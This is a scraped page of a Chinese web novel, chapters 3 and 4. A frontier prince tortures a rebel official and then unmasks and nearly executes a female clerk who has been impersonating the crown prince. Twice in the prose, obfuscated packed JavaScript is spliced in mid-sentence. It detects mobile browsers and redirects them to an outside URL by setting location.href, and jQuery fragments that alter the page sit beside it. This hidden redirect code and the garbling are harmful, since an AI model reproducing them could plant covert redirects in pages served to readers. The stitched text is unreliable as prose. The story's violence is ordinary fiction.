《错认恩公之后被迫营业》 3. 第三章 祸心 一刻钟前,琅无忌半蹲在地,查看了一下在地上抽搐的徐世清翻白的眼睛,对端坐椅上的赵元琢道:“殿下,他不行了。” 赵元琢漠然道:“救回来。” 旁边待命的军医慌忙上前,将一粒药丸塞入徐世清口中,劝道:“殿下,今日不宜再审,再审怕是要闹出人命。” 一个时辰已经晕死过去四次,再有一次估计神仙难救。 这徐世清也算能抗,大约是知道一旦松口自己的下场便只剩一个死,所以干脆咬死不说。 琅无忌看向赵元琢,见他神色未变,清冷眸中却透出难得一见的焦灼与烦躁。 身侧忽然传来一声“殿下”,赵元琢回眸望去,见是岳寒山。 岳寒山浑身浴血,下颌处多出一道刀伤,拱手禀道:“殿下,徐世清麾下两员大将,周秉德已束手就擒,只是那副使陆仟拼死抵抗,率一队军马冲出重围,云老将军已率兵追了过去。” 赵元琢接过琅无忌递过来的帕子,擦拭着适才动刑时溅至脸上的血迹,眼睫低垂,语气里不无惋惜:“陆家满门忠烈,陆仟也算少年英雄,可惜选了这条路。去转告云老将军,尽量留活口,若是留不住……便给他个痛快。” 岳寒山沉默一瞬,应道:“是。”身侧有一小将疾步离开,向云老将军传令去了。 赵元琢问:“邕王那边如何?” 岳寒山答:“适才荆将军来报,邕王粮草已断,他支撑不了太久。” 赵元琢似乎早有预料,轻轻点了点头,又问:“程太傅找到了吗?” 岳寒山道:“找到了,被徐世清关在昭华殿的侧殿,程太傅毫发未伤,只是绝食了一天,有些虚弱,嚷嚷着要见殿下。” 赵元琢表示“知道了”,岳寒山又迟疑问道:“太子被看押在私牢,可要末将去将人捞出来?” 东宫内早已插了他们的人手,时刻都在盯着太子的去向。徐世清的人为防止太子自戕,将他关押在东宫私牢。 赵元琢的神色有些不好捉摸:“便先委屈太子在私牢里躲一躲吧。” 听他此言,琅无忌并不意外。 京城这些王孙贵胄,平日里过得太好了,他们在风雪刮骨的疆场上搏命,换他们这些贵人在京城享清福。凭什么? 赵元琢将帕子撂回给琅无忌,不知为何忽然改了主意:“还是去见一见太子殿下,看看太子殿下的贵体……是否康健。” 琅无忌不禁与岳寒山对视一眼,从对方眼中读到了相同的意思。 如果太子殿下有什么闪失,那么徐世清合该罪加一等。 他们不过是救驾来迟,跟他们有什么关系? 赵元琢瞥向地上的徐世清,仿佛在看一具尸体,吩咐一名副将:“看好此人,让他活着,但不要活得太舒服。” 对方道了声“是”,目送赵元琢带着琅无忌和岳寒山离开。 朝廷明面上严令禁止私设牢狱,但各个王公贵族家中,都免不了修建私牢,平日里关押一些犯错的下人,也方便行一些不方便在明面上做的事。 东宫也不例外。 地牢的看守适才已被清理过,琅无忌利落地拿刀斩断门锁,推开牢门。 这里昏暗潮湿,因为空气久不流通,味道实在不好闻,他掩住口鼻,看到赵元琢抬起长腿迈进去。 琅无忌和岳寒山按住佩刀跟上去。 一走进牢里,就看见那年轻的东宫被吊在刑架上,身上是一件玄色绫袍,发冠歪了,额前落下几缕乱发。一双眼睛被白布缚上,下面是挺拔秀气的鼻和被塞住的嘴。 赵元琢行至那小殿下身前,轻轻捏住对方尖削的下巴,往上抬了一下。 目光不似在看人,更似在看一个稀奇的物件。 他感受到小太子瞬间的紧绷和戒备,好整以暇地等着对方挣扎。 小太子却异常顺从。 赵元琢借墙上油灯的昏暗灯光,查看了一下小太子脖颈上的锁。 他半生戎马,见最多的是皮糙肉厚的将士,还是第一次见到这么白净的人。 手下肌肤细腻如上好的羊脂玉,接近下颌的地方,已经被那铁锁磨出红痕。 “太子殿下?” 小太子的身体微不可察地抖了一下。 赵元琢的目光从那精致挺拔的鼻子,滑落到对方被塞住的嘴上,好心地伸出手,帮她将那塞嘴的帕子拔了出来。 帕子一去,小太子当即呛咳了几下,原本白皙的皮肤上浮现出淡淡的红晕,唇角也不可避免地流下一些口涎。 身侧的琅无忌非礼勿视地别开脸。 赵元琢却并不回避,朝琅无忌抬起右手,琅无忌立刻会意,摸出一条帕子递到他手上。 他一边温柔地替小太子擦拭嘴角,一边悠然启唇:“殿下放心,徐世清已被臣控制,东宫的宫防也已由臣接手,适才有残局需要收拾,暂时委屈了殿下。” 谢以宁强忍着尴尬与不适,稳住呼吸,充满希望地问道:“敢问阁下是?” 那道男声回答:“殿下该唤臣一声九叔。” 谢以宁的瞳孔不受控地微微震动。 太子的九叔,那岂不是……泾王赵元琢? 这位殿下还不到而立之年,已统北地三军,辖秦、魏、白、明四州,随着其辖境逐渐扩大,军权日益膨胀,多年来一直是陛下的心腹大患。 每到岁末,各藩王皆要入京面圣,唯有他从来不来。 若说他没有包藏祸心,这朝中无人敢信。 谢以宁有一种先遇豺狼、后逢虎豹的无力感,抱着微弱的希望询问:“不知九皇叔……可否先替孤解了身上枷锁?” 太子的安危尚未确定,赵元琢与徐世清是否同党也不确定,这个太子,她需要继续扮下去。 他笑了一声:“那便请殿下忍一下。” 琅无忌用拇指按住刀柄,推开一条缝,眸中泛起寒光,压低声音说:“殿下,不若我来。” 只需自家殿下一个眼神,他便可让这小太子死得利索。 赵元琢却将帕子丢给他,又朝他抬了抬手,琅无忌只好将手上的钥匙递过去。 赵元琢接过钥匙后,一手托住谢以宁脖颈上的铁锁,一手将对应的那把插入锁眼里。 随着“咔哒”一声轻响,谢以宁脖子上骤然一轻。 那铁疙瘩刚一卸掉,赵元琢便注意到“小太子”脖子上那道割伤。 本就出血的部位,被铁锁磨得血肉模糊。犹如白璧微瑕,令人无端生出一股破坏欲。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483630|201890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他半跪下去,伸手握住小太子细伶伶的脚腕。 脚腕被握住,谢以宁本能地僵了一僵。被关进来时,她的靴袜被脱去了,此时赤着一双脚,若不是被冻僵了,脚趾定然早已蜷缩起来。 锁链碰撞的声响中,她听见泾王沉哑温和的嗓音:“殿下实在大胆,臣若是徐世清,听见殿下那番挑衅,定然当场杀了殿下。” 谢以宁脑中骤然划过一道灵光,不由得脱口道:“原来在殿外……”她没有把话说完,低声喃喃,“……怪不得。” 怪不得,其中一名卫士的甲胄会不合身。 他大概便是当时那两名卫士中的一位。 “但殿下的魄力,实在令臣钦佩。”赵元琢淡淡说着,替她打开脚上的锁,而后直起身子,又将她两只手腕上的锁除去。 谢以宁被吊了许久,两条手臂已麻木僵直,双手也早已没有任何知觉,刚恢复自由,她便不由得踉跄了一下,不受控地往前栽倒。 额头撞上坚硬的胸膛,磕得她有片刻眩晕,不自觉攥住面前人的手臂,借力缓了缓。 近在咫尺的距离,她闻到对方身上淡淡的血腥气。 赵元琢一手按在身侧佩刀上,深沉瞳眸看向怀中人。 他这个素未谋面的侄儿骨架偏小,还是少年人的体格,以男子的标准评价,着实孱弱了些。但是脖颈修长,肩线平直,自有一种清绝气质。 可惜了,今日他要杀了这无辜的侄儿,将这池水搅得更浑。 唯一的恻隐之心,便是临死前让他看一眼,今日杀他的人是谁。 黄泉路上等着报仇时,可别忘了他。 谢以宁刚从晕眩中缓回来,正欲撤开,忽而有一只冰冷的手伸来,将她遮眼的白布扯去了。 困于黑暗太久,眼睛有些不适地轻轻眯起,待视力恢复,男人的模样徐徐映入眼帘。 轮廓分明,眉目朗朗,是一副让人意外的好模样。 只是那双眼睛过于幽冷锋利,令人不敢直视。谢以宁不由得屏息,见他薄唇微启,提醒道:“外面刀剑无眼,殿下千万小心。” 谢以宁的心猛地一跳。 恰在此时,有名郎将风风火火地疾行而至,带来一则消息:“殿下!有一队军马自称中军,围了东宫,正在宫门前与岳将军僵持!!” 赵元琢有些意外,偏头看他:“裴召?” 郎将道:“是!姓裴的说他接到太子殿下求援,奉命讨逆,还让末将转达,太子殿下在中军的护卫下,非常安全。” 这句话如同一道惊雷,在每个人耳边炸开。 赵元琢即刻眼风锐利地看向“小太子”。 “小太子”早已跑了。 赵元琢微微冷笑,眼疾手快地追上前去。 谢以宁只觉得身后有道劲风袭来,转瞬的功夫,人已被赵元琢擒住。 接着,她被一股极大的力道抵至墙上。后背吃痛,不禁闷哼出声来。 倘若对方力气再大一些,她的骨头架子怕是会当场散掉。 胸骨处传来难忍剧痛,不知是不是肋骨断了。 赵元琢一手将她抵住,另一只手掐住她的脖子,整个人欺近了,凉悠悠地问:“太子殿下既在中军手中,那么,你又是谁?” 4. 第四章 绝境 男人的身躯高大,说话时气息灼烫,让谢以宁心尖不由得发颤。 昏昏灯火中,那张脸年轻俊厉,削薄的眼皮只是淡淡压下,便让她出了一身冷汗。 她不由自主地挣扎了一下,对方却发出一声嘲弄般的轻笑,掐她脖子的手惩罚似的发力,瞬间让她呼吸更加困难。 她当即不敢再动。 对方没有当场扭断她的脖子,已经是手下留情。 赵元琢见她黑白分明的眼仁直勾勾地盯着自己,不再有任何反抗,满意地眯了眯眼,松开了那纤细的脖颈。 他不是徐世清那种色令智昏之辈,却也不得不承认,这样一张俊俏标致的脸蛋,杀了着实可惜。 且听听看她有何说辞。 他的手一松,她的身体立刻如烂泥一般滑落下去,跪在地上贪婪地喘了几口气,不等彻底调匀呼吸,就手脚并用爬到他脚边,急急开口: “泾王殿下容禀!下官谢以宁,乃政事堂的一名主事,平日负责誊抄诏令、跑腿传文这一类的闲杂事务。昨日程太傅到东宫议事,落下了一份要紧的文书,下官赶巧来送,岂料就这般同太子殿下和政事堂的阁老们困在了东宫……” 赵元琢轻轻摩挲了一下指腹,上面似还残留着适才掐她脖子时的细腻手感。 她似是想抬头看他,但中途仿佛被他身上的银甲晃了眼,迅速又将头埋了下去。 他漠然道:“继续。” 她不敢耽搁,继续往下说:“徐贼围困东宫,情势危急,而下官的身形相貌有幸与太子殿下有几分相像,便临危受命,做了太子殿下的替身。倘若下官能以此微贱之躯,为太子殿下拖住徐贼一段时间,也算是尽了人臣的本分,而今下官幸不辱命,终于等来了殿下您!” 她的衣领因先前一番折腾松散开来,此时尚未来得及拢好,露出一截柔白的颈和一片瘦削的肩。 宽大袍衫委顿于地,更加显得她骨架瘦小。 赵元琢玩味地看着她:“不必拍本王马屁,拣重点说。” 被他提前预判,谢以宁只好咽下满肚子歌功颂德的话,拣重点说: “太子殿下在暗卫的护送下从密道离开前,不仅将太子宝印托给下官,还赐臣一柄宝刀。下官揣摩殿下的意思,应当是想让下官以宝印保命,以宝刀诛贼。倘若不能成事,便以宝刀了结自己,以免遭受非人折辱,令大胤蒙羞。殿下或许不信,在您勤王的大军到来之前,下官早已做好了舍生取义的准备。” 她虽伏在地上,脊骨单薄,言辞间却显出威武不屈的风骨,很难不让人生出敬意。 而且,她很清楚应该在何时语气激昂,又该在何时流露出软弱,分寸尺度拿捏得恰到好处,情绪亦十足的饱满,不知不觉就将人带进她的节奏里。 旁边的岳寒山和琅无忌,显然是将她的话听了进去。 倘若不是在昭明殿见识过她煞有介事地忽悠徐世清,他只怕也已信了五分。 赵元琢好整以暇地理了一下护腕,目光落在她头顶:“太子殿下当真将他的宝印托给了你?” 谢以宁感觉头顶那道目光如有实质,沉沉地压在自己的脊梁上。 在这样的目光之下,仿佛她所有的小心思都无所遁形。 她不禁吞了口唾沫:“不、不错。太子殿下九死一生,陛下亦吉凶难料,在局势尚未明朗之前,太子宝印自是要托给一个稳妥之人。想必是在危急关头,下官挺身而出的举动,令殿下有几分动容,才会觉得下官是个值得托付的人罢。” 听到她自矜的话语,赵元琢弯了弯眼睛:“诚然,如今邕王和徐贼都有窃国之意,太子宝印也可代表皇室正统,若是在逃亡路上丢了,自是事关重大。藏在东宫,或许比携宝印出逃更加稳妥。” “泾王殿下英明!” “既如此,你说的宝刀和宝印如今何在?” “下官怕徐贼搜身,遂将宝刀与宝印分藏两地,倘若陛下与太子不幸蒙难,下官必引乱臣贼子至藏刀处,向太子殿下践诺!” 说完,她再度跪伏下去,是一个投诚的姿态:“如今乱臣贼子业已就擒,太子殿下也已脱困,下官自当等太子殿下归来,向他秉明泾王殿下您的功劳。若殿下不信,不妨带下官去见被囚于昭华殿偏殿的程太傅,届时您自有公断。” 听完这个冒牌太子的一席话,岳寒山和琅无忌不禁对视一眼。 她这番话无非是想向殿下证明,她深受小太子和程太傅器重,留着她有用,有大用。 两人正迟疑着,却忽然听见殿下开怀大笑。 那笑声在逼仄阴湿的地牢中回荡,让所有人心里都不禁有些发毛。 尤其是谢以宁,她的身体在那笑声中寸寸冷下去。 “谢大人。”赵元琢终于止住笑,悠然问她,“有些人死在不够聪明,还有些人死在自作聪明。你觉得自己是哪一种?” 她的身体不禁颤了颤:“下官愚钝,还望殿下赐教。” 他慢条斯理道:“没有宝印,谁又能确定,那中军手中的人便是当今太子?” 简单一句话,让谢以宁整个人如坠冰窟。 “谢大人大约是在京城待久了,被承平日子蒙蔽了双眼,看不清天下大势。谁是太子,中军说了不算,政事堂那些老家伙说了也不算,你觉得谁说了算?” 这句话令谢以宁又重重颤了一下。 她下颌绷紧:“……自是殿下您说了算。” 这句话又换来一阵笑声。 谢以宁心中绝望。 他连太子本人都不放在眼里,区区一个太子爱重的臣子,于他而言又何足轻重? 最重要的是,她适才已知晓他对她这个假太子有不轨之心,而今又听了这番狂妄悖逆的言论,岂还有活路? 对方笑过之后,果真对她没了任何兴趣,转身就要往牢外走。 而他身侧的琅无忌已缓缓抽出刀,准备结果了这无关紧要的小文官。 谁知,那前一刻还绝望如泥胎木塑的人,忽然以迅雷不及掩耳之势扑到自家殿下面前,以头抢地,咚地一声磕了个实在的响头。 赵元琢额角轻跳,停下脚步。 谢以宁大声道:“殿下!臣愿将太子宝印奉与殿下!待殿下拿到了宝印,是想将臣杀了祭天,还是愿意将臣当一个玩意儿留在身边取乐,臣都绝无怨言!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483631|201890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“臣上有七十祖母,下有七岁幼妹,还有一个瘫在床上的老爹,一家三口全靠臣一人的俸禄养活,若是没了臣按月寄钱回去,他们只怕是活不成啊殿下! “倘若殿下铁了心要臣死,臣万万不敢不死,但臣斗胆求殿下宽限臣一个时辰,不,半个时辰,让臣有时间给家里写一封绝笔信,将后事安排妥当,臣即便是死也感恩殿下的大德!” 她声音凄切,字字泣血,就连见惯生死的岳寒山都有些于心不忍。 这小文官顶多不过弱冠,虽然眼神看起来有些狡黠,但全无佞臣之态,如此哀哀求情的模样,当真是有几分可怜。 只见她说完这番话,又重重地磕了三个响头,仰脸看向那个能左右自己生死的人。 光洁的额头上被她磕出一片红肿,两行清泪顺着白净面庞流下。 她就这般顶着一张让人心软的脸,磋磨他的意志力。 赵元琢的心肠差点就软下来,但是想到她今日的表现,不禁又在心中轻嗤一声。 此人在徐世清那厮面前是一套说辞,在自己面前又是另一套说辞,如今连苦肉计都使出来了,还试图以美色诱他。 这么个见风使舵且没骨头的玩意儿,回头到了程太傅面前,不知又会是怎样一套说辞,留着迟早是个祸患。 他不悦地瞥向旁边的琅无忌,语气不耐:“还不把他拉开?” 琅无忌慌忙上前,谁知手还没碰到谢以宁的肩膀,她已抢先一步扑向赵元琢,死死地抱住他的大腿,目光灼亮地盯着他的腰侧,嗓音中有种异样的激动:“殿下,这枚玉坠……” 来此之前,赵元琢已脱去了此前扮演徐世清亲兵所穿的甲胄,换了一副只有胸甲和裙甲的轻便银甲。 上身除了玄色的交领衣外,还罩着件绯色的罩袍,窄腰以一条金玉革带束好。 那条革带上,以红色的丝绦挂着一枚白玉的玉坠。 那玉坠通体莹润,本来应该是个双螭缠绕的形状,可惜缺了左边的小半块。 右边的螭眼处有一点艳丽的沁色,与记忆中的那只玉坠别无二致。 是恩公的玉坠! 三年前她上京赶考的途中,救过她一命的恩公! 只可惜涌上心头的狂喜只持续了一瞬,便又被生死一线的恐惧冲得无影无踪,不等她多问半句话,已经有人迅速将她架开。 她望着那道近乎无情的高大背影越来越远,喃喃地喊了一声“恩公”,再也发不出别的声音。 因为已经有把刀从身后架在她的脖子上,那刀刃上彻骨的冷意,激得她打了个寒噤。 一只大手从身后将她的眼睛覆上,她的泪水不受控地夺眶而出。 走马灯从眼前飞速掠过,她看到了在灯下为自己缝衣服的祖母,看到了瘸着腿在田里耕作的爹爹,还有可爱乖巧的小妹。 等着她回家的小妹。 她还看到了谢以宁。 死了三年的谢以宁。 死亡离得如此之近,她却一句求情的话也说不出。 她在黑暗中无声的流泪。 几息后,一道清冽的男声在前方响起:“你,见过这枚玉坠?”